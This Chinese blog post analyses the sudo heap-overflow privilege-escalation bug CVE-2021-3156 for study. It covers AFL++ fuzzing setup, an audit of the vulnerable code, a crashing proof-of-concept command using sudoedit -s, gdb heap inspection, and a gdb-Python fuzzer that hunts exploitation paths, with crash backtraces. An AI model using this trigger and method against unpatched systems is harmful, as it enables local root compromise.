漏洞分析:CVE 2021-3156

Riv4ille發表於2021-08-11

漏洞分析:CVE 2021-3156

漏洞簡述

漏洞名稱:sudo堆溢位本地提權

漏洞編號:CVE-2021-3156

漏洞型別:堆溢位

漏洞影響:本地提權

利用難度:較高

基礎許可權:需要普通使用者許可權

漏洞發現

AFL++ Fuzzer

  在qualys官方給出的分析中,只是對漏洞點進行了分析,沒有給出漏洞利用程式碼,以及發現漏洞的細節。在後續的披露中,qualys的研究人員對外宣稱他們是通過審計原始碼發現的。

  我在學習的過程中,看到了兩篇文章有講到如何使用AFL來對sudo進行fuzz,於是便跟著復現了一次。

  在使用AFLplusplus的時候,也遇到了一些問題,比如一些依賴沒有安裝好,llvm版本過低等等。

  解決llvm版本過低的問題:ubuntu18.04安裝llvm 11

  llvm版本過低,會導致無法使用afl-clang-fast進行編譯時的插樁,編譯出來的sudo會報錯,按照https://apt.llvm.org/上的操作也可解決llvm版本過低的問題。

wget https://apt.llvm.org/llvm.sh
chmod +x llvm.sh
sudo ./llvm.sh <version number> 

  在安裝環境的過程中,我建議首先解決llvm的問題,再去安裝AFLplusplus,安裝AFLplusplus過程如下:

git clone https://github.com/AFLplusplus/AFLplusplus.git
cd AFLplusplus/
sudo apt install build-essential python3-dev automake flex bison libglib2.0-dev libpixman-1-dev clang python3-setuptools clang llvm llvm-dev libstdc++-7-dev
make distrib
sudo make install

  安裝時確保libstdc++版本與gcc版本一致。

  在使用AFL++進行fuzz的過程中,需要對sudo原始碼做出幾點修改:

  1.AFL++原始碼fuzz,需要對sudo進行插樁編譯,AFL++要對命令列引數進行fuzz的話,需要引入標頭檔案argv-fuzz-inl.h,同時在sudo.c中main函式開頭的地方;

  2.在執行sudo的時候,肯定需要輸入密碼,否則就會hang住,但是fuzz的過程中我們只關注傳入sudoedit的引數能不能導致程式crash,所以sudo_auth.c輸入密碼的分支那裡需要patch一下;

  3.將argv-fuzz-inl.h中rc初始化的值改為0。rc表示的是argv陣列的下標,如果rc==1的話,只是將argv[0]之後的引數通過巨集替換到stdin標準輸入中,而sudoedit是sudo的軟連結,而我們也需要去fuzz argv[0];

static char** afl_init_argv(int* argc) {

  static char  in_buf[MAX_CMDLINE_LEN];
  static char* ret[MAX_CMDLINE_PAR];

  char* ptr = in_buf;
  int   rc  = 0; /* start after argv[0] */

  if (read(0, in_buf, MAX_CMDLINE_LEN - 2) < 0);

  while (*ptr) {

    ret[rc] = ptr;

    /* insert '\0' at the end of ret[rc] on first space-sym */
    while (*ptr && !isspace(*ptr)) ptr++;
    *ptr = '\0';
    ptr++;

    /* skip more space-syms */
    while (*ptr && isspace(*ptr)) ptr++;

    rc++;
  }

  *argc = rc;

  return ret;

}

  4.fuzz過程中還要修改progname.c原始碼,否則會導致將"sudo"和"sudoedit" 作為argv[0] 傳入sudo時產生同樣的結果:

優化fuzz過程

1.關注fuzz過程中程式的敏感行為

    在自己的fuzz過程中,存在大量開啟vi的殭屍程式,這一點liveoverflow的課程中同樣講到,而且思路非常清晰,讓我這個fuzz新人學到了許多。我感覺,他講到的研究思路中最重要的一點,就是通過afl反饋的資訊,來推斷程式的行為,通過觀察敏感行為,思考哪些是值得我們長期關注的,哪些行為是我們在fuzz的過程中需要去忽略並且優化的。

  比如,fuzz的過程中,可以發現fuzz向/var/tmp目錄下寫入大量的檔案,而且檔名是可控的。在這個過程中,我們並不希望開啟過多其他程式,導致佔用cpu佔用率飆升,同時我們又需要關注程式開啟並且寫入檔案的行為。

  liveoverflow在處理的過程中,首先註釋掉了所有exec族函式的呼叫,這樣就避免了開啟其他的意想不到的程式。同時在程式操作tmp目錄的地方讓程式crash,這樣相當於給afl一個反饋,afl就會更加關注這一條路徑。

2.uid不同,sudo行為不同

  sudo可以將普通使用者許可權提升為一個root使用者許可權,通過sudo執行afl之後,再去fuzz sudo,被fuzz的sudo就會認為是root使用者執行了它,所以要將原始碼中getuid的地方硬編碼,編碼為1000,這樣在執行過程中,被fuzz的sudo會認為是普通使用者執行了它,這樣才能達到fuzz的目的。

設定語料,開始fuzz

echo -ne "sudo\0id\0" > ./input/case1
echo -ne "sudoedit\0\id\0" > ./output/case2

程式碼審計

// plugins/sudoers.c # set_cmnd()
if (sudo_mode & (MODE_RUN | MODE_EDIT | MODE_CHECK)) {
  ...
if (NewArgc > 1) { char *to, *from, **av; size_t size, n; /* Alloc and build up user_args. */ for (size = 0, av = NewArgv + 1; *av; av++) size += strlen(*av) + 1; if (size == 0 || (user_args = malloc(size)) == NULL) {
      // 為傳遞的引數開闢堆空間 sudo_warnx(U_(
"%s: %s"), __func__, U_("unable to allocate memory")); debug_return_int(NOT_FOUND_ERROR); } if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) { /* * When running a command via a shell, the sudo front-end * escapes potential meta chars. We unescape non-spaces * for sudoers matching and logging purposes. */ for (to = user_args, av = NewArgv + 1; (from = *av); av++) { while (*from) { if (from[0] == '\\' && !isspace((unsigned char)from[1])) from++; *to++ = *from++; } *to++ = ' '; } *--to = '\0'; } else { for (to = user_args, av = NewArgv + 1; *av; av++) { n = strlcpy(to, *av, size - (to - user_args)); if (n >= size - (to - user_args)) { sudo_warnx(U_("internal error, %s overflow"), __func__); debug_return_int(NOT_FOUND_ERROR); } to += n; *to++ = ' '; } *--to = '\0'; } }
  ...
}

  sudo會為傳遞的命令列引數開闢堆空間,註釋中寫道,當通過shell執行一個命令時(檢查MODE_SHELL或者MODE_LOGIN_SHELL標誌位),sudo會轉義潛在的元字元。

for (to = user_args, av = NewArgv + 1; (from = *av); av++) {
            while (*from) {
            if (from[0] == '\\' && !isspace((unsigned char)from[1]))
                from++;
            *to++ = *from++;
            }
            *to++ = ' ';
        }

  這一條分支的本意是,當傳入類似 '\n','\t' 這種字元時,不將反斜槓'\'拷貝到堆空間中去,isspace用來檢查 ' \ ' 後是不是空格,來個小實驗看一下就很清楚。

   似乎沒有什麼問題,但是,我們回過頭來看一看申請堆塊的程式碼。

for (size = 0, av = NewArgv + 1; *av; av++)
            size += strlen(*av) + 1;
        if (size == 0 || (user_args = malloc(size)) == NULL)
  ......

  NewArgv是一個二級指標,av就是傳遞給sudo的命令列引數,strlen(*av)返回各個命令列引數的長度,size+=strlen(*av)+1,size最後作為malloc的引數,決定申請堆塊的大小。strlen函式在處理字串返回字串長度的時候,是以'\x00'作為截斷的,正常來說,這個'\x00'截斷符實際上是替換掉了我們在命令列中輸入的 '\n'。

  如果在命令列傳遞引數的時候,' \ ' 後面跟的不是空格,而是'\x00'截斷符,同時後面又跟了一串輸入的內容,例如下面這樣:

`aaaa\\x00bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb\n`

  那麼strlen函式返回值就是5,因為strlen函式在遇到第一個'\x00'時就會停止,不會計算後面的字串長度。

for (to = user_args, av = NewArgv + 1; (from = *av); av++) {
            while (*from) {
            if (from[0] == '\\' && !isspace((unsigned char)from[1]))
                from++;
            *to++ = *from++;
            }
            *to++ = ' ';
        }

  然後,向堆中拷貝字串時,from[0] == '\\' 時,from[1] == '\x00' ,滿足if語句中的條件,from++,'\x00'被拷貝到堆中去,然後from指標再加一,跳過'\x00',滿足for迴圈中的條件,繼續向堆中拷貝資料,直到遇到下一個'\x00'。在這個過程中,就造成了一個堆溢位的漏洞。

   從程式碼審計的角度來看,似乎並不是一個非常複雜的漏洞,要到達漏洞程式碼處,只要設定MODE_RUN 或MODE_EDIT 或 MODE_CHECK標誌位,同時設定MODE_SHELL或者MODE_LOGIN_SHELL即可。

  sudo對於命令列引數的解析和對標誌位的設定,都在parse_args.c中完成:

// parse_args.c

int
parse_args(int argc, char **argv, int *old_optind, int *nargc, char ***nargv,
    struct sudo_settings **settingsp, char ***env_addp)
{
  struct environment extra_env;
    int mode = 0;        /* what mode is sudo to be run in? */
    int flags = 0;        /* mode flags */
    int valid_flags = DEFAULT_VALID_FLAGS;
    int ch, i;
    char *cp;
    const char *progname;
    int proglen;
    debug_decl(parse_args, SUDO_DEBUG_ARGS);

    /* Is someone trying something funny? */
    if (argc <= 0)
    usage();

    /* Pass progname to plugin so it can call initprogname() */
    progname = getprogname();
    sudo_settings[ARG_PROGNAME].value = progname;

    /* First, check to see if we were invoked as "sudoedit". */
    proglen = strlen(progname);
    if (proglen > 4 && strcmp(progname + proglen - 4, "edit") == 0) {
    progname = "sudoedit";
    mode = MODE_EDIT;
    sudo_settings[ARG_SUDOEDIT].value = "true";
    }
  ...
  case 'e':
            if (mode && mode != MODE_EDIT)
            usage_excl();
            mode = MODE_EDIT;
            sudo_settings[ARG_SUDOEDIT].value = "true";
            valid_flags = MODE_NONINTERACTIVE;
            break;
  ...
  case 'i':
            sudo_settings[ARG_LOGIN_SHELL].value = "true";
            SET(flags, MODE_LOGIN_SHELL);
  ...
  case 's':
            sudo_settings[ARG_USER_SHELL].value = "true";
            SET(flags, MODE_SHELL);
            break;
  ...
  if (!mode)
        mode = MODE_RUN;        /* running a command */
  ...
  if (argc > 0 && mode == MODE_LIST)
        mode = MODE_CHECK;
  ...
    
if
(ISSET(mode, MODE_RUN) && ISSET(flags, MODE_SHELL)) { char **av, *cmnd = NULL; int ac = 1; if (argc != 0) { /* shell -c "command" */ char *src, *dst; size_t cmnd_size = (size_t) (argv[argc - 1] - argv[0]) + strlen(argv[argc - 1]) + 1; cmnd = dst = reallocarray(NULL, cmnd_size, 2); if (cmnd == NULL) sudo_fatalx(U_("%s: %s"), __func__, U_("unable to allocate memory")); if (!gc_add(GC_PTR, cmnd)) exit(EXIT_FAILURE); for (av = argv; *av != NULL; av++) { for (src = *av; *src != '\0'; src++) { /* quote potential meta characters */ if (!isalnum((unsigned char)*src) && *src != '_' && *src != '-' && *src != '$')   *dst++ = '\\'; *dst++ = *src; } *dst++ = ' '; } if (cmnd != dst) dst--; /* replace last space with a NULL */ *dst = '\0'; ac += 2; /* -c cmnd */ }

  來看這一段處理命令列引數字串的程式碼:

if (ISSET(mode, MODE_RUN) && ISSET(flags, MODE_SHELL)) {
  for
(src = *av; *src != '\0'; src++) { /* quote potential meta characters */ if (!isalnum((unsigned char)*src) && *src != '_' && *src != '-' && *src != '$')   *dst++ = '\\'; *dst++ = *src; }
}

  isalnum函式檢查字元是否是數字或者字元,如果不是數字或者字元,同時也不是'_','-','$'這幾個字元的話,*dst就會被賦值為'\\'。回想一下,前面我們想要觸發堆溢位,需要在反斜槓後面構造`\x00`,但實際上MODE_RUN和MODE_SHELL如果同時被設定的話,sudo在執行到parse_args函式時,'\x00'就會被替換為'\\',那這樣自然無法成功觸發漏洞。
   我們再來梳理一下parse_args函式中設定mode和flag兩個標誌位的過程。

int
parse_args(int argc, char **argv, int *old_optind, int *nargc, char ***nargv,
    struct sudo_settings **settingsp, char ***env_addp)
{
  struct environment extra_env;
    int mode = 0;        /* what mode is sudo to be run in? */
    int flags = 0;        /* mode flags */
    int valid_flags = DEFAULT_VALID_FLAGS;
    int ch, i;
    char *cp;
    const char *progname;
    int proglen;
    debug_decl(parse_args, SUDO_DEBUG_ARGS);

    /* Is someone trying something funny? */
    if (argc <= 0)
    usage();

    /* Pass progname to plugin so it can call initprogname() */
    progname = getprogname();
    sudo_settings[ARG_PROGNAME].value = progname;

    /* First, check to see if we were invoked as "sudoedit". */
    proglen = strlen(progname);
    if (proglen > 4 && strcmp(progname + proglen - 4, "edit") == 0) {
    progname = "sudoedit";
    mode = MODE_EDIT;
    sudo_settings[ARG_SUDOEDIT].value = "true";
    }
  ...
  case 'e':
            if (mode && mode != MODE_EDIT)
            usage_excl();
            mode = MODE_EDIT;
            sudo_settings[ARG_SUDOEDIT].value = "true";
            valid_flags = MODE_NONINTERACTIVE;
            break;
  ...
  case 'i':
            sudo_settings[ARG_LOGIN_SHELL].value = "true";
            SET(flags, MODE_LOGIN_SHELL);
  ...
  case 's':
            sudo_settings[ARG_USER_SHELL].value = "true";
            SET(flags, MODE_SHELL);
            break;
  ...
  if (!mode)
        mode = MODE_RUN;        /* running a command */
  ...
  if (argc > 0 && mode == MODE_LIST)
        mode = MODE_CHECK;
  ...

  選擇-e引數的話,mode會被賦值為MODE_EDIT,但是無法再設定flag為MODE_SHELL。

  MODE_CHECK也是同樣的問題,如果選擇-l引數的話,會先設定MODE_LIST,然後設定MODE_CHECK,但是設定了-l引數就無法再傳遞其他引數。

  如果沒有提前設定mode的話,mode會被賦值為MODE_RUN,要到達漏洞點,也可以不設定MODE_SHELL,設定MODE_LOGIN_SHELL也是滿足判斷條件,如果我們制定引數-i的話,就可以滿足同時設定MODE_LOGIN_SHELL和MODE_RUN。

  看起來可以順利觸發漏洞了?來看下面這段程式碼:

    if (ISSET(flags, MODE_LOGIN_SHELL)) {
    if (ISSET(flags, MODE_SHELL)) {
        sudo_warnx("%s",
        U_("you may not specify both the -i and -s options"));
        usage();
    }
    if (ISSET(flags, MODE_PRESERVE_ENV)) {
        sudo_warnx("%s",
        U_("you may not specify both the -i and -E options"));
        usage();
    }
    SET(flags, MODE_SHELL);
    }

  在switch分支結束之後,會進行一系列的判斷,其中有一條if語句就是判斷flags是否被設定為MODE_LOGIN_SHELL,如果flags被設定為MODE_LOGIN_SHELL,那麼最後會將flags設定為MODE_SHELL。

  這條路徑也被堵死了。

  漏洞的發現者找到了一條非常巧妙的辦法規避了parse_args對命令列引數中對元字元的檢查,答案其實就在parse_args函式的開頭。

  progname = getprogname();
    sudo_settings[ARG_PROGNAME].value = progname;

    /* First, check to see if we were invoked as "sudoedit". */
    proglen = strlen(progname);
    if (proglen > 4 && strcmp(progname + proglen - 4, "edit") == 0) {
    progname = "sudoedit";
    mode = MODE_EDIT;
    sudo_settings[ARG_SUDOEDIT].value = "true";
    }

  sudoedit是一個指向sudo的軟連結,如果progname是sudoedit的話,mode被賦值為MODE_EDIT。後面如果再加上"-s"引數的話,flags就會被設定為MODE_SHELL,通過這條路徑就可以順利到達漏洞程式碼處。

   poc觸發堆溢位,測試一下漏洞:

 漏洞利用

   以root許可權執行gdb除錯sudoedit,命令列如下:

sudo gdb --args sudoedit -s '\' `perl -e 'print "A" x 20'`

  程式crash之後,在set_cmnd函式處下斷點。

   順利進入到漏洞程式碼處。

   在第960行呼叫malloc函式處下斷點,同時檢視一下當前堆佈局:

  我們要申請的chunk應該是0x20大小的,此時tcachebin和fastbin中並沒有相應大小的chunk,按照ptmalloc堆分配的規則,下一個chunk將會從unsortedbin中進行切割。如果切割成功的話,unsortedbin會返回0x20大小的chunk,並且切割後空閒chunk繼續留在unsortedbin中。

  在第976行處下斷點,我們看一下0x562b5ce44ef0處記憶體佈局:

 

   我們輸入的內容覆蓋了相鄰chunk的prev_size欄位,所以最後導致報出malloc(): memory corruption的錯誤。

fuzz利用路徑

  通過gdb python來實現一個針對sudo的簡單的fuzz工具,我們期望通過fuzz發現可能存在的意外奔潰,並且通過crahs日誌,發現相應的攻擊路徑。用gdb來fuzz的做法,最開始看到sakura師傅還有幾位群友在除錯這個漏洞時是這樣做的,後來看liveoverflow的視訊時,看到他本人以及漏洞最初的發現者也是這樣的方法來發現攻擊路徑的。

  但是我本人比較菜,對這方面沒有過嘗試,我個人思考了一下,想法比較樸素,就如下圖所示:

  最開始可以設定一些基礎語料,現在我們觸發漏洞的方法是已知的,就是`\`後緊跟空字元,那麼這個就是必須要新增到基礎語料中去的,我們現在已經知道漏洞的觸發點,就可以省略語料蒸餾的過程,集中思考如何覆蓋更多的路徑。

  我們可以設定一個生成器:Generator。構造不同的payload,在迴圈loop中,不斷地修改堆空間,不斷地製造崩潰,然後輸出bt回溯函式呼叫棧的資訊,策略簡單設定兩種:一種只是單純改變溢位長度,另一種是隨機新增多個"'\\'",看看對堆記憶體有什麼改變。

  fuzz的過程中,得到了一個有意思的結果(跑了好一段時間才跑出來一次,fuzz指令碼還是有問題)。

[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
4038    malloc.c: No such file or directory.
#0  _int_malloc (av=av@entry=0x7f170b772c40 <main_arena>, bytes=bytes@entry=384) at malloc.c:4038
#1  0x00007f170b4211f1 in __libc_calloc (n=<optimized out>, elem_size=<optimized out>) at malloc.c:3446
#2  0x00007f170bdc8026 in _dl_check_map_versions (map=<optimized out>, verbose=verbose@entry=0, trace_mode=trace_mode@entry=0) at dl-version.c:274
#3  0x00007f170bdcb3ec in dl_open_worker (a=a@entry=0x7ffd43dfcee0) at dl-open.c:284
#4  0x00007f170b4ee1ef in __GI__dl_catch_exception (exception=0x7ffd43dfcec0, operate=0x7f170bdcaf60 <dl_open_worker>, args=0x7ffd43dfcee0) at dl-error-skeleton.c:196
#5  0x00007f170bdca96a in _dl_open (file=0x7ffd43dfd150 "libnss_systemd.so.2", mode=-2147483647, caller_dlopen=0x7f170b4cf766 <nss_load_library+294>, nsid=<optimized out>, argc=3, argv=<optimized out>, env=0x7ffd43dfde48) at dl-open.c:605
#6  0x00007f170b4ed2bd in do_dlopen (ptr=ptr@entry=0x7ffd43dfd110) at dl-libc.c:96
#7  0x00007f170b4ee1ef in __GI__dl_catch_exception (exception=exception@entry=0x7ffd43dfd0b0, operate=operate@entry=0x7f170b4ed280 <do_dlopen>, args=args@entry=0x7ffd43dfd110) at dl-error-skeleton.c:196
#8  0x00007f170b4ee27f in __GI__dl_catch_error (objname=objname@entry=0x7ffd43dfd100, errstring=errstring@entry=0x7ffd43dfd108, mallocedp=mallocedp@entry=0x7ffd43dfd0ff, operate=operate@entry=0x7f170b4ed280 <do_dlopen>, args=args@entry=0x7ffd43dfd110) at dl-error-skeleton.c:215
#9  0x00007f170b4ed3e9 in dlerror_run (args=0x7ffd43dfd110, operate=0x7f170b4ed280 <do_dlopen>) at dl-libc.c:46
#10 __GI___libc_dlopen_mode (name=name@entry=0x7ffd43dfd150 "libnss_systemd.so.2", mode=mode@entry=-2147483647) at dl-libc.c:195
#11 0x00007f170b4cf766 in nss_load_library (ni=0x556ad9984ed0) at nsswitch.c:369
#12 0x00007f170b4cff68 in __GI___nss_lookup_function (ni=ni@entry=0x556ad9984ed0, fct_name=<optimized out>, fct_name@entry=0x7f170b53c250 "initgroups_dyn") at nsswitch.c:477
#13 0x00007f170b4677e7 in internal_getgrouplist (user=user@entry=0x556ad998d9c8 "root", group=group@entry=0, size=size@entry=0x7ffd43dfd2a8, groupsp=groupsp@entry=0x7ffd43dfd2b0, limit=limit@entry=-1) at initgroups.c:105
#14 0x00007f170b467ab1 in getgrouplist (user=user@entry=0x556ad998d9c8 "root", group=group@entry=0, groups=groups@entry=0x7f170bf74010, ngroups=ngroups@entry=0x7ffd43dfd304) at initgroups.c:169
#15 0x00007f170b99fbbd in sudo_getgrouplist2_v1 (name=0x556ad998d9c8 "root", basegid=0, groupsp=groupsp@entry=0x7ffd43dfd360, ngroupsp=ngroupsp@entry=0x7ffd43dfd35c) at ../../../lib/util/getgrouplist.c:98
#16 0x00007f170a422587 in sudo_make_gidlist_item (pw=0x556ad998d998, unused1=<optimized out>, type=1) at ../../../plugins/sudoers/pwutil_impl.c:269
#17 0x00007f170a42126a in sudo_get_gidlist (pw=0x556ad998d998, type=type@entry=1) at ../../../plugins/sudoers/pwutil.c:926
#18 0x00007f170a41a695 in runas_getgroups () at ../../../plugins/sudoers/match.c:141
#19 0x00007f170a40a2ce in runas_setgroups () at ../../../plugins/sudoers/set_perms.c:1584
#20 set_perms (perm=perm@entry=5) at ../../../plugins/sudoers/set_perms.c:275
#21 0x00007f170a402ecc in sudoers_lookup (snl=0x7f170a65fd80 <snl>, pw=0x556ad998d998, cmnd_status=cmnd_status@entry=0x7f170a65fd94 <cmnd_status>, pwflag=pwflag@entry=0) at ../../../plugins/sudoers/parse.c:355
#22 0x00007f170a40d912 in sudoers_policy_main (argc=argc@entry=2, argv=argv@entry=0x556ad9987e50, pwflag=pwflag@entry=0, env_add=env_add@entry=0x0, verbose=verbose@entry=false, closure=closure@entry=0x7ffd43dfdad0) at ../../../plugins/sudoers/sudoers.c:420
#23 0x00007f170a4058ec in sudoers_policy_check (argc=2, argv=0x556ad9987e50, env_add=0x0, command_infop=0x7ffd43dfdb90, argv_out=0x7ffd43dfdb98, user_env_out=0x7ffd43dfdba0, errstr=0x7ffd43dfdbb8) at ../../../plugins/sudoers/policy.c:1028
#24 0x0000556ad88e96f0 in policy_check (user_env_out=0x7ffd43dfdba0, argv_out=0x7ffd43dfdb98, command_info=0x7ffd43dfdb90, env_add=0x0, argv=0x556ad9987e50, argc=2) at ../../src/sudo.c:1171
#25 main (argc=argc@entry=3, argv=argv@entry=0x7ffd43dfde28, envp=0x7ffd43dfde48) at ../../src/sudo.c:269
#26 0x00007f170b3a8bf7 in __libc_start_main (main=0x556ad88e9080 <main>, argc=3, argv=0x7ffd43dfde28, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7ffd43dfde18) at ../csu/libc-start.c:310
#27 0x0000556ad88eb74a in _start ()

   fuzz指令碼的策略存在問題,而且嘗試的時候,忘記沒有把命令列引數輸出出來,導致也不知道是怎麼樣的引數可以觸發這一條路徑,我決定再修改一下指令碼,直到可以穩定地在短時間內,碰撞出儘可能多的路徑。

import gdb
import random

corpus = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
escapech = "'\\'"

class Generators:
    fuzz_input = ""

    def __init__(self):
        self.fuzz_input = ""

    def generate(self):
        self.fuzz_input = ""
        strategies = random.randint(1,3)
        if strategies == 1:
            self.fuzz_input += escapech
        if strategies in (1,2):
            count = random.randint(1,30)
            for i in range(count):
                start = random.randint(0,25)
                end = random.randint(26,51) 
                if end < start:
                    temp = end
                    end = start
                    start = temp
                self.fuzz_input += "'"
                self.fuzz_input += corpus[start:end] * random.randint(1,9)
                self.fuzz_input += "\\"
                self.fuzz_input += "'"
        else:
            length = random.randint(0x10,0xfff)
            s = "A"*length
            if random.randint(0,1) == 0:
                self.fuzz_input += escapech
            self.fuzz_input += "'"+ s + "'"
            self.fuzz_input += '\\'
            S1 = random.randint(0,2)

            if S1 == 0:
                for i in range(random.randint(0,4)):
                    self.fuzz_input += "'"
                    self.fuzz_input += 'b'*random.randint(16,0x10000) + "\\"
                    self.fuzz_input += "'"
            elif S1 == 1:
                for i in range(random.randint(10,50)):
                    self.fuzz_input += "'"
                    self.fuzz_input += 'c'*random.randint(16,256) + "'\\'"
                    self.fuzz_input += "'"
            else:
                self.fuzz_input += ""
        return self.fuzz_input

def loop(G):
    for i in range(1000):
        try:
            payload = G.generate(G)
            print('\n%s'%payload)
            gdb.execute("r -s %s"%(payload))
            gdb.execute("bt")
        except Exception as e:
            print('\n%s\n'%e)

gdb.execute("set pagination off")
gdb.execute("set logging on ./crash_log.output")
gdb.execute("bt")
#gdb.execute("b nss_load_library")
G = Generators
loop(G)
gdb.execute("quit")

  我將Generator構造的引數輸出,重新跑了一次指令碼,分析一下crash的輸出檔案,我發現出現最多的還是下面這條路徑:

'\''AAAAAAAAAAAAA''\'
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
51    ../sysdeps/unix/sysv/linux/raise.c: No such file or directory.
#0  __GI_raise (sig=sig@entry=6) at ../sysdeps/unix/sysv/linux/raise.c:51
#1  0x00007f68c75ae921 in __GI_abort () at abort.c:79
#2  0x00007f68c75f7967 in __libc_message (action=action@entry=do_abort, fmt=fmt@entry=0x7f68c7724b0d "%s\n") at ../sysdeps/posix/libc_fatal.c:181
#3  0x00007f68c75fe9da in malloc_printerr (str=str@entry=0x7f68c7722d8e "malloc(): memory corruption") at malloc.c:5342
#4  0x00007f68c7602b24 in _int_malloc (av=av@entry=0x7f68c7959c40 <main_arena>, bytes=bytes@entry=262148) at malloc.c:3748
#5  0x00007f68c76051cc in __GI___libc_malloc (bytes=262148) at malloc.c:3067
#6  0x00007f68c7b86b9f in sudo_getgrouplist2_v1 (name=0x5623838db9c8 "root", basegid=0, groupsp=groupsp@entry=0x7fffd9623680, ngroupsp=ngroupsp@entry=0x7fffd962367c) at ../../../lib/util/getgrouplist.c:94
#7  0x00007f68c6609587 in sudo_make_gidlist_item (pw=0x5623838db998, unused1=<optimized out>, type=1) at ../../../plugins/sudoers/pwutil_impl.c:269
#8  0x00007f68c660826a in sudo_get_gidlist (pw=0x5623838db998, type=type@entry=1) at ../../../plugins/sudoers/pwutil.c:926
#9  0x00007f68c6601695 in runas_getgroups () at ../../../plugins/sudoers/match.c:141
#10 0x00007f68c65f12ce in runas_setgroups () at ../../../plugins/sudoers/set_perms.c:1584
......

   偶爾出現幾次呼叫_int_free報錯的路徑:

'\''AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA''\'
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
51    ../sysdeps/unix/sysv/linux/raise.c: No such file or directory.
#0  __GI_raise (sig=sig@entry=6) at ../sysdeps/unix/sysv/linux/raise.c:51
#1  0x00007f46dd840921 in __GI_abort () at abort.c:79
#2  0x00007f46dd889967 in __libc_message (action=action@entry=do_abort, fmt=fmt@entry=0x7f46dd9b6b0d "%s\n") at ../sysdeps/posix/libc_fatal.c:181
#3  0x00007f46dd8909da in malloc_printerr (str=str@entry=0x7f46dd9b8818 "double free or corruption (out)") at malloc.c:5342
#4  0x00007f46dd897f6a in _int_free (have_lock=0, p=0x560deb254490, av=0x7f46ddbebc40 <main_arena>) at malloc.c:4308
#5  __GI___libc_free (mem=0x560deb2544a0) at malloc.c:3134
#6  0x00007f46dc8750e8 in sudoers_setlocale (locale_type=locale_type@entry=1, prev_locale=prev_locale@entry=0x7ffff46d0d90) at ../../../plugins/sudoers/locale.c:119
#7  0x00007f46dc8868f4 in sudoers_policy_main (argc=argc@entry=2, argv=argv@entry=0x560deb24ee50, pwflag=pwflag@entry=0, env_add=env_add@entry=0x0, verbose=verbose@entry=false, closure=closure@entry=0x7ffff46d0e10) at ../../../plugins/sudoers/sudoers.c:419
#8  0x00007f46dc87e8ec in sudoers_policy_check (argc=2, argv=0x560deb24ee50, env_add=0x0, command_infop=0x7ffff46d0ed0, argv_out=0x7ffff46d0ed8, user_env_out=0x7ffff46d0ee0, errstr=0x7ffff46d0ef8) at ../../../plugins/sudoers/policy.c:1028
#9  0x0000560dea4846f0 in policy_check (user_env_out=0x7ffff46d0ee0, argv_out=0x7ffff46d0ed8, command_info=0x7ffff46d0ed0, env_add=0x0, argv=0x560deb24ee50, argc=2) at ../../src/sudo.c:1171
#10 main (argc=argc@entry=3, argv=argv@entry=0x7ffff46d1168, envp=0x7ffff46d1188) at ../../src/sudo.c:269
#11 0x00007f46dd821bf7 in __libc_start_main (main=0x560dea484080 <main>, argc=3, argv=0x7ffff46d1168, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7ffff46d1158) at ../csu/libc-start.c:310
#12 0x0000560dea48674a in _start ()
'\''AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA''\'
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
51    ../sysdeps/unix/sysv/linux/raise.c: No such file or directory.
#0  __GI_raise (sig=sig@entry=6) at ../sysdeps/unix/sysv/linux/raise.c:51
#1  0x00007f35b4973921 in __GI_abort () at abort.c:79
#2  0x00007f35b49bc967 in __libc_message (action=action@entry=do_abort, fmt=fmt@entry=0x7f35b4ae9b0d "%s\n") at ../sysdeps/posix/libc_fatal.c:181
#3  0x00007f35b49c39da in malloc_printerr (str=str@entry=0x7f35b4aeb818 "double free or corruption (out)") at malloc.c:5342
#4  0x00007f35b49caf6a in _int_free (have_lock=0, p=0x562f76684490, av=0x7f35b4d1ec40 <main_arena>) at malloc.c:4308
#5  __GI___libc_free (mem=0x562f766844a0) at malloc.c:3134
#6  0x00007f35b39a80e8 in sudoers_setlocale (locale_type=locale_type@entry=1, prev_locale=prev_locale@entry=0x7ffe6d064700) at ../../../plugins/sudoers/locale.c:119
#7  0x00007f35b39b98f4 in sudoers_policy_main (argc=argc@entry=2, argv=argv@entry=0x562f7667ee50, pwflag=pwflag@entry=0, env_add=env_add@entry=0x0, verbose=verbose@entry=false, closure=closure@entry=0x7ffe6d064780) at ../../../plugins/sudoers/sudoers.c:419
#8  0x00007f35b39b18ec in sudoers_policy_check (argc=2, argv=0x562f7667ee50, env_add=0x0, command_infop=0x7ffe6d064840, argv_out=0x7ffe6d064848, user_env_out=0x7ffe6d064850, errstr=0x7ffe6d064868) at ../../../plugins/sudoers/policy.c:1028
#9  0x0000562f7595e6f0 in policy_check (user_env_out=0x7ffe6d064850, argv_out=0x7ffe6d064848, command_info=0x7ffe6d064840, env_add=0x0, argv=0x562f7667ee50, argc=2) at ../../src/sudo.c:1171
#10 main (argc=argc@entry=3, argv=argv@entry=0x7ffe6d064ad8, envp=0x7ffe6d064af8) at ../../src/sudo.c:269
#11 0x00007f35b4954bf7 in __libc_start_main (main=0x562f7595e080 <main>, argc=3, argv=0x7ffe6d064ad8, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7ffe6d064ac8) at ../csu/libc-start.c:310
#12 0x0000562f7596074a in _start ()
